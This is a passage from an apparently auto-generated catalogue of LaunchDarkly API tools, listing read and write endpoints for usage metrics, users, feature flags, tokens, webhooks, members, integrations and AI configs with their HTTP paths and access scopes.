/api/v2/tokens/{id} GET /api/v1/launchdarkly/api/v2/tokens/{id}. Scopes: reader. launchdarkly_get_usage_ai_runs (read) — Get airuns usage via GET /api/v2/usage/ai-runs GET /api/v1/launchdarkly/api/v2/usage/ai-runs. Scopes: reader. launchdarkly_get_usage_clientside_contexts (read) — Get contexts clientside usage via GET /api/v2/usage/clientside-contexts GET /api/v1/launchdarkly/api/v2/usage/clientside-contexts. Scopes: reader. launchdarkly_get_usage_clientside_mau (read) — Get mauclientside usage via GET /api/v2/usage/clientside-mau GET /api/v1/launchdarkly/api/v2/usage/clientside-mau. Scopes: reader. launchdarkly_get_usage_data_export_events (read) — Get data export events usage via GET /api/v2/usage/data-export-events GET /api/v1/launchdarkly/api/v2/usage/data-export-events. Scopes: reader. launchdarkly_get_usage_evaluations_by_projectkey_by_environmentkey_by_featureflagkey (read) — Get evaluations usage via GET /api/v2/usage/evaluations/{projectKey}/{environmentKey}/{featureFlagKey} GET /api/v1/launchdarkly/api/v2/usage/evaluations/{projectKey}/{environmentKey}/{featureFlagKey}. Scopes: reader. launchdarkly_get_usage_events_by_type (read) — Get events usage via GET /api/v2/usage/events/{type} GET /api/v1/launchdarkly/api/v2/usage/events/{type}. Scopes: reader. launchdarkly_get_usage_experimentation_events (read) — Get experimentation events usage via GET /api/v2/usage/experimentation-events GET /api/v1/launchdarkly/api/v2/usage/experimentation-events. Scopes: reader. launchdarkly_get_usage_experimentation_keys (read) — Get experimentation keys usage via GET /api/v2/usage/experimentation-keys GET /api/v1/launchdarkly/api/v2/usage/experimentation-keys. Scopes: reader. launchdarkly_get_usage_mau (read) — Get mau usage via GET /api/v2/usage/mau GET /api/v1/launchdarkly/api/v2/usage/mau. Scopes: reader. launchdarkly_get_usage_mau_bycategory (read) — Get mau usage by category via GET /api/v2/usage/mau/bycategory GET /api/v1/launchdarkly/api/v2/usage/mau/bycategory. Scopes: reader. launchdarkly_get_usage_mau_sdks (read) — Get mau sdks by type via GET /api/v2/usage/mau/sdks GET /api/v1/launchdarkly/api/v2/usage/mau/sdks. Scopes: reader. launchdarkly_get_usage_observability_errors (read) — Get observability errors usage via GET /api/v2/usage/observability/errors GET /api/v1/launchdarkly/api/v2/usage/observability/errors. Scopes: reader. launchdarkly_get_usage_observability_logs (read) — Get observability logs usage via GET /api/v2/usage/observability/logs GET /api/v1/launchdarkly/api/v2/usage/observability/logs. Scopes: reader. launchdarkly_get_usage_observability_metrics (read) — Get observability metrics usage via GET /api/v2/usage/observability/metrics GET /api/v1/launchdarkly/api/v2/usage/observability/metrics. Scopes: reader. launchdarkly_get_usage_observability_sessions (read) — Get observability sessions usage via GET /api/v2/usage/observability/sessions GET /api/v1/launchdarkly/api/v2/usage/observability/sessions. Scopes: reader. launchdarkly_get_usage_observability_traces (read) — Get observability traces usage via GET /api/v2/usage/observability/traces GET /api/v1/launchdarkly/api/v2/usage/observability/traces. Scopes: reader. launchdarkly_get_usage_sdk_versions_all (read) — Get sdk all versions via GET /api/v2/usage/sdk-versions/all GET /api/v1/launchdarkly/api/v2/usage/sdk-versions/all. Scopes: reader. launchdarkly_get_usage_sdk_versions_details (read) — Get sdk versions details via GET /api/v2/usage/sdk-versions/details GET /api/v1/launchdarkly/api/v2/usage/sdk-versions/details. Scopes: reader. launchdarkly_get_usage_serverside_contexts (read) — Get contexts serverside usage via GET /api/v2/usage/serverside-contexts GET /api/v1/launchdarkly/api/v2/usage/serverside-contexts. Scopes: reader. launchdarkly_get_usage_service_connections (read) — Get service connections usage via GET /api/v2/usage/service-connections GET /api/v1/launchdarkly/api/v2/usage/service-connections. Scopes: reader. launchdarkly_get_usage_streams_by_source (read) — Get stream usage via GET /api/v2/usage/streams/{source} GET /api/v1/launchdarkly/api/v2/usage/streams/{source}. Scopes: reader. launchdarkly_get_usage_streams_by_source_bysdkversion (read) — Get stream usage by sdk version via GET /api/v2/usage/streams/{source}/bysdkversion GET /api/v1/launchdarkly/api/v2/usage/streams/{source}/bysdkversion. Scopes: reader. launchdarkly_get_usage_streams_by_source_sdkversions (read) — Get stream usage sdkversion via GET /api/v2/usage/streams/{source}/sdkversions GET /api/v1/launchdarkly/api/v2/usage/streams/{source}/sdkversions. Scopes: reader. launchdarkly_get_usage_total_contexts (read) — Get contexts total usage via GET /api/v2/usage/total-contexts GET /api/v1/launchdarkly/api/v2/usage/total-contexts. Scopes: reader. launchdarkly_get_usage_total_mau (read) — Get mautotal usage via GET /api/v2/usage/total-mau GET /api/v1/launchdarkly/api/v2/usage/total-mau. Scopes: reader. launchdarkly_get_usage_vega_ai (read) — Get vega aiusage via GET /api/v2/usage/vega-ai GET /api/v1/launchdarkly/api/v2/usage/vega-ai. Scopes: reader. launchdarkly_get_usage_warehouse_export (read) — Get warehouse export usage via GET /api/v2/usage/warehouse-export GET /api/v1/launchdarkly/api/v2/usage/warehouse-export. Scopes: reader. launchdarkly_get_user_search_by_projectkey_by_environmentkey (read) — Get search users via GET /api/v2/user-search/{projectKey}/{environmentKey} GET /api/v1/launchdarkly/api/v2/user-search/{projectKey}/{environmentKey}. Scopes: reader. launchdarkly_get_users_by_projectkey_by_environmentkey (read) — Get users via GET /api/v2/users/{projectKey}/{environmentKey} GET /api/v1/launchdarkly/api/v2/users/{projectKey}/{environmentKey}. Scopes: reader. launchdarkly_get_users_by_projectkey_by_environmentkey_by_userkey (read) — Get user via GET /api/v2/users/{projectKey}/{environmentKey}/{userKey} GET /api/v1/launchdarkly/api/v2/users/{projectKey}/{environmentKey}/{userKey}. Scopes: reader. launchdarkly_get_users_by_projectkey_by_environmentkey_by_userkey_flags (read) — Get user flag settings via GET /api/v2/users/{projectKey}/{environmentKey}/{userKey}/flags GET /api/v1/launchdarkly/api/v2/users/{projectKey}/{environmentKey}/{userKey}/flags. Scopes: reader. launchdarkly_get_users_by_projectkey_by_environmentkey_by_userkey_flags_by_featureflagkey (read) — Get user flag setting via GET /api/v2/users/{projectKey}/{environmentKey}/{userKey}/flags/{featureFlagKey} GET /api/v1/launchdarkly/api/v2/users/{projectKey}/{environmentKey}/{userKey}/flags/{featureFlagKey}. Scopes: reader. launchdarkly_get_users_by_projectkey_by_userkey_expiring_user_targets_by_environmentkey (read) — Get expiring flags for user via GET /api/v2/users/{projectKey}/{userKey}/expiring-user-targets/{environmentKey} GET /api/v1/launchdarkly/api/v2/users/{projectKey}/{userKey}/expiring-user-targets/{environmentKey}. Scopes: reader. launchdarkly_get_versions (read) — Get versions via GET /api/v2/versions GET /api/v1/launchdarkly/api/v2/versions. Scopes: reader. launchdarkly_get_webhooks (read) — Get all webhooks via GET /api/v2/webhooks GET /api/v1/launchdarkly/api/v2/webhooks. Scopes: reader. launchdarkly_get_webhooks_by_id (read) — Get webhook via GET /api/v2/webhooks/{id} GET /api/v1/launchdarkly/api/v2/webhooks/{id}. Scopes: reader. launchdarkly_patch_account_ip_allowlist (write) — Patch ip allowlist config via PATCH /api/v2/account/ip-allowlist PATCH /api/v1/launchdarkly/api/v2/account/ip-allowlist. Scopes: writer. launchdarkly_patch_account_ip_allowlist_by_id (write) — Patch ip allowlist entry via PATCH /api/v2/account/ip-allowlist/{id} PATCH /api/v1/launchdarkly/api/v2/account/ip-allowlist/{id}. Scopes: writer. launchdarkly_patch_account_relay_auto_configs_by_id (write) — Patch relay auto config via PATCH /api/v2/account/relay-auto-configs/{id} PATCH /api/v1/launchdarkly/api/v2/account/relay-auto-configs/{id}. Scopes: writer. launchdarkly_patch_announcements_by_announcementid (write) — Update announcement public via PATCH /api/v2/announcements/{announcementId} PATCH /api/v1/launchdarkly/api/v2/announcements/{announcementId}. Scopes: writer. launchdarkly_patch_applications_by_applicationkey (write) — Patch application via PATCH /api/v2/applications/{applicationKey} PATCH /api/v1/launchdarkly/api/v2/applications/{applicationKey}. Scopes: writer. launchdarkly_patch_applications_by_applicationkey_versions_by_versionkey (write) — Patch application version via PATCH /api/v2/applications/{applicationKey}/versions/{versionKey} PATCH /api/v1/launchdarkly/api/v2/applications/{applicationKey}/versions/{versionKey}. Scopes: writer. launchdarkly_patch_approval_requests_by_id (write) — Patch approval request via PATCH /api/v2/approval-requests/{id} PATCH /api/v1/launchdarkly/api/v2/approval-requests/{id}. Scopes: writer. launchdarkly_patch_approval_requests_projects_by_projectkey_settings (write) — Patch approval request settings via PATCH /api/v2/approval-requests/projects/{projectKey}/settings PATCH /api/v1/launchdarkly/api/v2/approval-requests/projects/{projectKey}/settings. Scopes: writer. launchdarkly_patch_code_refs_repositories_by_repo (write) — Patch repository via PATCH /api/v2/code-refs/repositories/{repo} PATCH /api/v1/launchdarkly/api/v2/code-refs/repositories/{repo}. Scopes: writer. launchdarkly_patch_destinations_by_projectkey_by_environmentkey_by_id (write) — Patch destination via PATCH /api/v2/destinations/{projectKey}/{environmentKey}/{id} PATCH /api/v1/launchdarkly/api/v2/destinations/{projectKey}/{environmentKey}/{id}. Scopes: writer. launchdarkly_patch_engineering_insights_deployments_by_deploymentid (write) — Update deployment via PATCH /api/v2/engineering-insights/deployments/{deploymentID} PATCH /api/v1/launchdarkly/api/v2/engineering-insights/deployments/{deploymentID}. Scopes: writer. launchdarkly_patch_engineering_insights_insights_groups_by_insightgroupkey (write) — Patch insight group via PATCH /api/v2/engineering-insights/insights/groups/{insightGroupKey} PATCH /api/v1/launchdarkly/api/v2/engineering-insights/insights/groups/{insightGroupKey}. Scopes: writer. launchdarkly_patch_flag_links_projects_by_projectkey_flags_by_featureflagkey_by_id (write) — Update flag link via PATCH /api/v2/flag-links/projects/{projectKey}/flags/{featureFlagKey}/{id} PATCH /api/v1/launchdarkly/api/v2/flag-links/projects/{projectKey}/flags/{featureFlagKey}/{id}. Scopes: writer. launchdarkly_patch_flags_by_projectkey_by_featureflagkey (write) — Patch feature flag via PATCH /api/v2/flags/{projectKey}/{featureFlagKey} PATCH /api/v1/launchdarkly/api/v2/flags/{projectKey}/{featureFlagKey}. Scopes: writer. launchdarkly_patch_flags_by_projectkey_by_featureflagkey_expiring_targets_by_environmentkey (write) — Patch expiring targets via PATCH /api/v2/flags/{projectKey}/{featureFlagKey}/expiring-targets/{environmentKey} PATCH /api/v1/launchdarkly/api/v2/flags/{projectKey}/{featureFlagKey}/expiring-targets/{environmentKey}. Scopes: writer. launchdarkly_patch_flags_by_projectkey_by_featureflagkey_expiring_user_targets_by_environmentkey (write) — Patch expiring user targets via PATCH /api/v2/flags/{projectKey}/{featureFlagKey}/expiring-user-targets/{environmentKey} PATCH /api/v1/launchdarkly/api/v2/flags/{projectKey}/{featureFlagKey}/expiring-user-targets/{environmentKey}. Scopes: writer. launchdarkly_patch_flags_by_projectkey_by_featureflagkey_triggers_by_environmentkey_by_id (write) — Patch trigger workflow via PATCH /api/v2/flags/{projectKey}/{featureFlagKey}/triggers/{environmentKey}/{id} PATCH /api/v1/launchdarkly/api/v2/flags/{projectKey}/{featureFlagKey}/triggers/{environmentKey}/{id}. Scopes: writer. launchdarkly_patch_flags_by_projectkey_by_flagkey_release (write) — Patch release by flag key via PATCH /api/v2/flags/{projectKey}/{flagKey}/release PATCH /api/v1/launchdarkly/api/v2/flags/{projectKey}/{flagKey}/release. Scopes: writer. launchdarkly_patch_integration_capabilities_big_segment_store_by_projectkey_by_environmentkey_by_integrationkey_by_integrationid (write) — Patch big segment store integration via PATCH /api/v2/integration-capabilities/big-segment-store/{projectKey}/{environmentKey}/{integrationKey}/{integrationId} PATCH /api/v1/launchdarkly/api/v2/integration-capabilities/big-segment-store/{projectKey}/{environmentKey}/{integrationKey}/{integrationId}. Scopes: writer. launchdarkly_patch_integration_capabilities_featurestore_by_projectkey_by_environmentkey_by_integrationkey_by_id (write) — Patch integration delivery configuration via PATCH /api/v2/integration-capabilities/featureStore/{projectKey}/{environmentKey}/{integrationKey}/{id} PATCH /api/v1/launchdarkly/api/v2/integration-capabilities/featureStore/{projectKey}/{environmentKey}/{integrationKey}/{id}. Scopes: writer. launchdarkly_patch_integration_capabilities_flag_import_by_projectkey_by_integrationkey_by_integrationid (write) — Patch flag import configuration via PATCH /api/v2/integration-capabilities/flag-import/{projectKey}/{integrationKey}/{integrationId} PATCH /api/v1/launchdarkly/api/v2/integration-capabilities/flag-import/{projectKey}/{integrationKey}/{integrationId}. Scopes: writer. launchdarkly_patch_integration_configurations_by_integrationconfigurationid (write) — Update integration configuration via PATCH /api/v2/integration-configurations/{integrationConfigurationId} PATCH /api/v1/launchdarkly/api/v2/integration-configurations/{integrationConfigurationId}. Scopes: writer. launchdarkly_patch_integrations_by_integrationkey_by_id (write) — Update subscription via PATCH /api/v2/integrations/{integrationKey}/{id} PATCH /api/v1/launchdarkly/api/v2/integrations/{integrationKey}/{id}. Scopes: writer. launchdarkly_patch_members (write) — Patch members via PATCH /api/v2/members PATCH /api/v1/launchdarkly/api/v2/members. Scopes: writer. launchdarkly_patch_members_by_id (write) — Patch member via PATCH /api/v2/members/{id} PATCH /api/v1/launchdarkly/api/v2/members/{id}. Scopes: writer. launchdarkly_patch_metrics_by_projectkey_by_metrickey (write) — Patch metric via PATCH /api/v2/metrics/{projectKey}/{metricKey} PATCH /api/v1/launchdarkly/api/v2/metrics/{projectKey}/{metricKey}. Scopes: writer. launchdarkly_patch_oauth_clients_by_clientid (write) — Patch oauth client via PATCH /api/v2/oauth/clients/{clientId} PATCH /api/v1/launchdarkly/api/v2/oauth/clients/{clientId}. Scopes: writer. launchdarkly_patch_projects_by_projectkey (write) — Patch project via PATCH /api/v2/projects/{projectKey} PATCH /api/v1/launchdarkly/api/v2/projects/{projectKey}. Scopes: writer. launchdarkly_patch_projects_by_projectkey_agent_graphs_by_graphkey (write) — Patch agent graph via PATCH /api/v2/projects/{projectKey}/agent-graphs/{graphKey} PATCH /api/v1/launchdarkly/api/v2/projects/{projectKey}/agent-graphs/{graphKey}. Scopes: writer. launchdarkly_patch_projects_by_projectkey_agent_optimizations_by_optimizationkey (write) — Patch agent optimization via PATCH /api/v2/projects/{projectKey}/agent-optimizations/{optimizationKey} PATCH /api/v1/launchdarkly/api/v2/projects/{projectKey}/agent-optimizations/{optimizationKey}. Scopes: writer. launchdarkly_patch_projects_by_projectkey_agent_optimizations_by_optimizationkey_results_by_resultid (write) — Patch agent optimization result via PATCH /api/v2/projects/{projectKey}/agent-optimizations/{optimizationKey}/results/{resultId} PATCH /api/v1/launchdarkly/api/v2/projects/{projectKey}/agent-optimizations/{optimizationKey}/results/{resultId}. Scopes: writer. launchdarkly_patch_projects_by_projectkey_ai_configs_by_configkey (write) — Patch aiconfig via PATCH /api/v2/projects/{projectKey}/ai-configs/{configKey} PATCH /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-configs/{configKey}. Scopes: writer. launchdarkly_patch_projects_by_projectkey_ai_configs_by_configkey_targeting (write) — Patch aiconfig targeting via PATCH /api/v2/projects/{projectKey}/ai-configs/{configKey}/targeting PATCH /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-configs/{configKey}/targeting. Scopes: writer. launchdarkly_patch_projects_by_projectkey_ai_configs_by_configkey_variations_by_variationkey (write) — Patch aiconfig variation via PATCH /api/v2/projects/{projectKey}/ai-configs/{configKey}/variations/{variationKey} PATCH /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-configs/{configKey}/variations/{variationKey}. Scopes: writer. launchdarkly_patch_projects_by_projectkey_ai_configs_model_configs_by_modelconfigkey (write) — Patch model config via PATCH /api/v2/projects/{projectKey}/ai-configs/model-configs/{modelConfigKey} PATCH /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-configs/model-configs/{modelConfigKey}. Scopes: writer. launchdarkly_patch_projects_by_projectkey_ai_configs_prompt_snippets_by_snippetkey (write) — Patch prompt snippet via PATCH /api/v2/projects/{projectKey}/ai-configs/prompt-snippets/{snippetKey} PATCH /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-configs/prompt-snippets/{snippetKey}. Scopes: writer. launchdarkly_patch_projects_by_projectkey_ai_configs_skills_by_skillkey (write) — Patch agent skill via PATCH /api/v2/projects/{projectKey}/ai-configs/skills/{skillKey} PATCH /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-configs/skills/{skillKey}. Scopes: writer. launchdarkly_patch_projects_by_projectkey_ai_tools_by_toolkey (write) — Patch aitool via PATCH /api/v2/projects/{projectKey}/ai-tools/{toolKey} PATCH /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-tools/{toolKey}. Scopes: writer. launchdarkly_patch_projects_by_projectkey_environments_by_environmentkey (write) — Patch environment via PATCH /api/v2/projects/{projectKey}/environments/{environmentKey} PATCH /api/v1/launchdarkly/api/v2/projects/{projectKey}/environments/{environmentKey}. Scopes: writer. launchdarkly_patch_projects_by_projectkey_environments_by_environmentkey_adaptive_triggers_by_triggerid (write) — Patch adaptive trigger via PATCH /api/v2/projects/{projectKey}/environments/{environmentKey}/adaptive-triggers/{triggerID} PATCH /api/v1/launchdarkly/api/v2/projects/{projectKey}/environments/{environmentKey}/adaptive-triggers/{triggerID}. Scopes: writer. launchdarkly_patch_projects_by_projectkey_environments_by_environmentkey_experiments_by_experimentkey (write) — Patch experiment via PATCH /api/v2/projects/{projectKey}/environments/{environmentKey}/experiments/{experimentKey} PATCH /api/v1/launchdarkly/api/v2/projects/{projectKey}/environments/{environmentKey}/experiments/{experimentKey}. Scopes: writer. launchdarkly_patch_projects_by_projectkey_environments_by_environmentkey_holdouts_by_holdoutkey (write) — Patch holdout via PATCH /api/v2/projects/{projectKey}/environments/{environmentKey}/holdouts/{holdoutKey} PATCH /api/v1/launchdarkly/api/v2/projects/{projectKey}/environments/{environmentKey}/holdouts/{holdoutKey}. Scopes: writer. launchdarkly_patch_projects_by_projectkey_environments_by_environmentkey_sdk_keys_by_sdkkeykey (write) — Patch sdk key by key via PATCH /api/v2/projects/{projectKey}/environments/{environmentKey}/sdk-keys/{sdkKeyKey} PATCH /api/v1/launchdarkly/api/v2/projects/{projectKey}/environments/{environmentKey}/sdk-keys/{sdkKeyKey}. Scopes: writer. launchdarkly_patch_projects_by_projectkey_flag_defaults (write) — Patch flag defaults by project via PATCH /api/v2/projects/{projectKey}/flag-defaults PATCH /api/v1/launchdarkly/api/v2/projects/{projectKey}/flag-defaults. Scopes: writer. launchdarkly_patch_projects_by_projectkey_flags_by_featureflagkey_environments_by_environmentkey_approval_requests_by_id (write) — Patch flag config approval request via PATCH /api/v2/projects/{projectKey}/flags/{featureFlagKey}/environments/{environmentKey}/approval-requests/{id} PATCH /api/v1/launchdarkly/api/v2/projects/{projectKey}/flags/{featureFlagKey}/environments/{environmentKey}/approval-requests/{id}. Scopes: writer. launchdarkly_patch_projects_by_projectkey_flags_by_featureflagkey_environments_by_environmentkey_scheduled_changes_by_id (write) — Patch flag config scheduled change via PATCH /api/v2/projects/{projectKey}/flags/{featureFlagKey}/environments/{environmentKey}/scheduled-changes/{id} PATCH /api/v1/launchdarkly/api/v2/projects/{projectKey}/flags/{featureFlagKey}/environments/{environmentKey}/scheduled-changes/{id}. Scopes: writer. launchdarkly_patch_projects_by_projectkey_layers_by_layerkey (write) — Update layer via PATCH /api/v2/projects/{projectKey}/layers/{layerKey} PATCH /api/v1/launchdarkly/api/v2/projects/{projectKey}/layers/{layerKey}. Scopes: writer. launchdarkly_patch_projects_by_projectkey_metric_groups_by_metricgroupkey (write) — Patch metric group via PATCH /api/v2/projects/{projectKey}/metric-groups/{metricGroupKey} PATCH /api/v1/launchdarkly/api/v2/projects/{projectKey}/metric-groups/{metricGroupKey}. Scopes: writer. launchdarkly_patch_projects_by_projectkey_views_by_viewkey (write) — Update view via PATCH /api/v2/projects/{projectKey}/views/{viewKey} PATCH /api/v1/launchdarkly/api/v2/projects/{projectKey}/views/{viewKey}. Scopes: writer. launchdarkly_patch_roles_by_customrolekey (write) — Patch custom role via PATCH /api/v2/roles/{customRoleKey} PATCH /api/v1/launchdarkly/api/v2/roles/{customRoleKey}. Scopes: writer. launchdarkly_patch_segments_by_projectkey_by_environmentkey_by_segmentkey (write) — Patch segment via PATCH /api/v2/segments/{projectKey}/{environmentKey}/{segmentKey} PATCH /api/v1/launchdarkly/api/v2/segments/{projectKey}/{environmentKey}/{segmentKey}. Scopes: writer. launchdarkly_patch_segments_by_projectkey_by_segmentkey_expiring_targets_by_environmentkey (write) — Patch expiring targets for segment via PATCH /api/v2/segments/{projectKey}/{segmentKey}/expiring-targets/{environmentKey} PATCH /api/v1/launchdarkly/api/v2/segments/{projectKey}/{segmentKey}/expiring-targets/{environmentKey}. Scopes: writer. launchdarkly_patch_segments_by_projectkey_by_segmentkey_expiring_user_targets_by_environmentkey (write) — Patch expiring user targets for segment via PATCH /api/v2/segments/{projectKey}/{segmentKey}/expiring-user-targets/{environmentKey} PATCH /api/v1/launchdarkly/api/v2/segments/{projectKey}/{segmentKey}/expiring-user-targets/{environmentKey}. Scopes: writer. launchdarkly_patch_teams (write) — Patch teams via PATCH /api/v2/teams PATCH /api/v1/launchdarkly/api/v2/teams. Scopes: writer. launchdarkly_patch_teams_by_teamkey (write) — Patch team via PATCH /api/v2/teams/{teamKey} PATCH /api/v1/launchdarkly/api/v2/teams/{teamKey}. Scopes: writer. launchdarkly_patch_tokens_by_id (write) — Patch token via PATCH /api/v2/tokens/{id} PATCH /api/v1/launchdarkly/api/v2/tokens/{id}. Scopes: writer. launchdarkly_patch_users_by_projectkey_by_userkey_expiring_user_targets_by_environmentkey (write) — Patch expiring flags for user via PATCH /api/v2/users/{projectKey}/{userKey}/expiring-user-targets/{environmentKey} PATCH /api/v1/launchdarkly/api/v2/users/{projectKey}/{userKey}/expiring-user-targets/{environmentKey}. Scopes: writer. launchdarkly_patch_webhooks_by_id (write) — Patch webhook via PATCH /api/v2/webhooks/{id} PATCH /api/v1/launchdarkly/api/v2/webhooks/{id}. Scopes: writer. launchdarkly_post_account_ip_allowlist (write) — Create ip allowlist entry via POST /api/v2/account/ip-allowlist POST /api/v1/launchdarkly/api/v2/account/ip-allowlist. Scopes: writer. launchdarkly_post_account_relay_auto_configs (write) — Post relay auto config via POST /api/v2/account/relay-auto-configs POST /api/v1/launchdarkly/api/v2/account/relay-auto-configs. Scopes: writer. launchdarkly_post_account_relay_auto_configs_by_id_reset (write) — Reset relay auto config via POST /api/v2/account/relay-auto-configs/{id}/reset POST /api/v1/launchdarkly/api/v2/account/relay-auto-configs/{id}/reset. Scopes: writer. launchdarkly_post_announcements (write) — Create announcement public via POST /api/v2/announcements POST /api/v1/launchdarkly/api/v2/announcements. Scopes: writer. launchdarkly_post_approval_requests (write) — Post approval request via POST /api/v2/approval-requests POST /api/v1/launchdarkly/api/v2/approval-requests. Scopes: writer. launchdarkly_post_approval_requests_by_id_apply (write) — Post approval request apply via POST /api/v2/approval-requests/{id}/apply POST /api/v1/launchdarkly/api/v2/approval-requests/{id}/apply. Scopes: writer. launchdarkly_post_approval_requests_by_id_reviews (write) — Post approval request review via POST /api/v2/approval-requests/{id}/reviews POST /api/v1/launchdarkly/api/v2/approval-requests/{id}/reviews. Scopes: writer. launchdarkly_post_auditlog (write) — Post audit log entries via POST /api/v2/auditlog POST /api/v1/launchdarkly/api/v2/auditlog. Scopes: writer. launchdarkly_post_auditlog_counts (write) — Post audit log entry counts via POST /api/v2/auditlog/counts POST /api/v1/launchdarkly/api/v2/auditlog/counts. Scopes: writer. launchdarkly_post_code_refs_repositories (write) — Post repository via POST /api/v2/code-refs/repositories POST /api/v1/launchdarkly/api/v2/code-refs/repositories. Scopes: writer. launchdarkly_post_code_refs_repositories_by_repo_branch_delete_tasks (write) — Delete branches via POST /api/v2/code-refs/repositories/{repo}/branch-delete-tasks POST /api/v1/launchdarkly/api/v2/code-refs/repositories/{repo}/branch-delete-tasks. Scopes: writer. launchdarkly_post_code_refs_repositories_by_repo_branches_by_branch_extinction_events (write) — Post extinction via POST /api/v2/code-refs/repositories/{repo}/branches/{branch}/extinction-events POST /api/v1/launchdarkly/api/v2/code-refs/repositories/{repo}/branches/{branch}/extinction-events. Scopes: writer. launchdarkly_post_destinations_by_projectkey_by_environmentkey (write) — Post destination via POST /api/v2/destinations/{projectKey}/{environmentKey} POST /api/v1/launchdarkly/api/v2/destinations/{projectKey}/{environmentKey}. Scopes: writer. launchdarkly_post_destinations_generate_warehouse_destination_key_pair (write) — Post generate warehouse destination key pair via POST /api/v2/destinations/generate-warehouse-destination-key-pair POST /api/v1/launchdarkly/api/v2/destinations/generate-warehouse-destination-key-pair. Scopes: writer. launchdarkly_post_destinations_projects_by_projkey_environments_by_envkey_generate_trust_policy (write) — Post generate trust policy via POST /api/v2/destinations/projects/{projKey}/environments/{envKey}/generate-trust-policy POST /api/v1/launchdarkly/api/v2/destinations/projects/{projKey}/environments/{envKey}/generate-trust-policy. Scopes: writer. launchdarkly_post_destinations_projects_by_projkey_environments_by_envkey_generate_warehouse_destination_key_pair (write) — Post generate project env warehouse destination key pair via POST /api/v2/destinations/projects/{projKey}/environments/{envKey}/generate-warehouse-destination-key-pair POST /api/v1/launchdarkly/api/v2/destinations/projects/{projKey}/environments/{envKey}/generate-warehouse-destination-key-pair. Scopes: writer. launchdarkly_post_destinations_projects_by_projkey_environments_by_envkey_kinds_by_kind_complete_setup (write) — Post complete warehouse destination setup via POST /api/v2/destinations/projects/{projKey}/environments/{envKey}/kinds/{kind}/complete-setup POST /api/v1/launchdarkly/api/v2/destinations/projects/{projKey}/environments/{envKey}/kinds/{kind}/complete-setup. Scopes: writer. launchdarkly_post_destinations_projects_by_projkey_environments_by_envkey_kinds_by_kind_setup (write) — Post generate warehouse destination setup script via POST /api/v2/destinations/projects/{projKey}/environments/{envKey}/kinds/{kind}/setup POST /api/v1/launchdarkly/api/v2/destinations/projects/{projKey}/environments/{envKey}/kinds/{kind}/setup. Scopes: writer. launchdarkly_post_engineering_insights_deployment_events (write) — Create deployment event via POST /api/v2/engineering-insights/deployment-events POST /api/v1/launchdarkly/api/v2/engineering-insights/deployment-events. Scopes: writer. launchdarkly_post_engineering_insights_insights_group (write) — Create insight group via POST /api/v2/engineering-insights/insights/group POST /api/v1/launchdarkly/api/v2/engineering-insights/insights/group. Scopes: writer. launchdarkly_post_flag_links_projects_by_projectkey_flags_by_featureflagkey (write) — Create flag link via POST /api/v2/flag-links/projects/{projectKey}/flags/{featureFlagKey} POST /api/v1/launchdarkly/api/v2/flag-links/projects/{projectKey}/flags/{featureFlagKey}. Scopes: writer. launchdarkly_post_flags_by_projectkey (write) — Post feature flag via POST /api/v2/flags/{projectKey} POST /api/v1/launchdarkly/api/v2/flags/{projectKey}. Scopes: writer. launchdarkly_post_flags_by_projectkey_by_featureflagkey_copy (write) — Copy feature flag via POST /api/v2/flags/{projectKey}/{featureFlagKey}/copy POST /api/v1/launchdarkly/api/v2/flags/{projectKey}/{featureFlagKey}/copy. Scopes: writer. launchdarkly_post_flags_by_projectkey_by_featureflagkey_triggers_by_environmentkey (write) — Create trigger workflow via POST /api/v2/flags/{projectKey}/{featureFlagKey}/triggers/{environmentKey} POST /api/v1/launchdarkly/api/v2/flags/{projectKey}/{featureFlagKey}/triggers/{environmentKey}. Scopes: writer. launchdarkly_post_integration_capabilities_big_segment_store_by_projectkey_by_environmentkey_by_integrationkey (write) — Create big segment store integration via POST /api/v2/integration-capabilities/big-segment-store/{projectKey}/{environmentKey}/{integrationKey} POST /api/v1/launchdarkly/api/v2/integration-capabilities/big-segment-store/{projectKey}/{environmentKey}/{integrationKey}. Scopes: writer. launchdarkly_post_integration_capabilities_featurestore_by_projectkey_by_environmentkey_by_integrationkey (write) — Create integration delivery configuration via POST /api/v2/integration-capabilities/featureStore/{projectKey}/{environmentKey}/{integrationKey} POST /api/v1/launchdarkly/api/v2/integration-capabilities/featureStore/{projectKey}/{environmentKey}/{integrationKey}. Scopes: writer. launchdarkly_post_integration_capabilities_featurestore_by_projectkey_by_environmentkey_by_integrationkey_by_id_validate (write) — Validate integration delivery configuration via POST /api/v2/integration-capabilities/featureStore/{projectKey}/{environmentKey}/{integrationKey}/{id}/validate POST /api/v1/launchdarkly/api/v2/integration-capabilities/featureStore/{projectKey}/{environmentKey}/{integrationKey}/{id}/validate. Scopes: writer. launchdarkly_post_integration_capabilities_flag_import_by_projectkey_by_integrationkey (write) — Create flag import configuration via POST /api/v2/integration-capabilities/flag-import/{projectKey}/{integrationKey} POST /api/v1/launchdarkly/api/v2/integration-capabilities/flag-import/{projectKey}/{integrationKey}. Scopes: writer. launchdarkly_post_integration_capabilities_flag_import_by_projectkey_by_integrationkey_by_integrationid_trigger (write) — Trigger flag import job via POST /api/v2/integration-capabilities/flag-import/{projectKey}/{integrationKey}/{integrationId}/trigger POST /api/v1/launchdarkly/api/v2/integration-capabilities/flag-import/{projectKey}/{integrationKey}/{integrationId}/trigger. Scopes: writer. launchdarkly_post_integration_configurations_keys_by_integrationkey (write) — Create integration configuration via POST /api/v2/integration-configurations/keys/{integrationKey} POST /api/v1/launchdarkly/api/v2/integration-configurations/keys/{integrationKey}. Scopes: writer. launchdarkly_post_integrations_by_integrationkey (write) — Create subscription via POST /api/v2/integrations/{integrationKey} POST /api/v1/launchdarkly/api/v2/integrations/{integrationKey}. Scopes: writer. launchdarkly_post_members (write) — Post members via POST /api/v2/members POST /api/v1/launchdarkly/api/v2/members. Scopes: writer. launchdarkly_post_members_by_id_teams (write) — Post member teams via POST /api/v2/members/{id}/teams POST /api/v1/launchdarkly/api/v2/members/{id}/teams. Scopes: writer. launchdarkly_post_metrics_by_projectkey (write) — Post metric via POST /api/v2/metrics/{projectKey} POST /api/v1/launchdarkly/api/v2/metrics/{projectKey}. Scopes: writer. launchdarkly_post_oauth_clients (write) — Create oauth2 client via POST /api/v2/oauth/clients POST /api/v1/launchdarkly/api/v2/oauth/clients. Scopes: 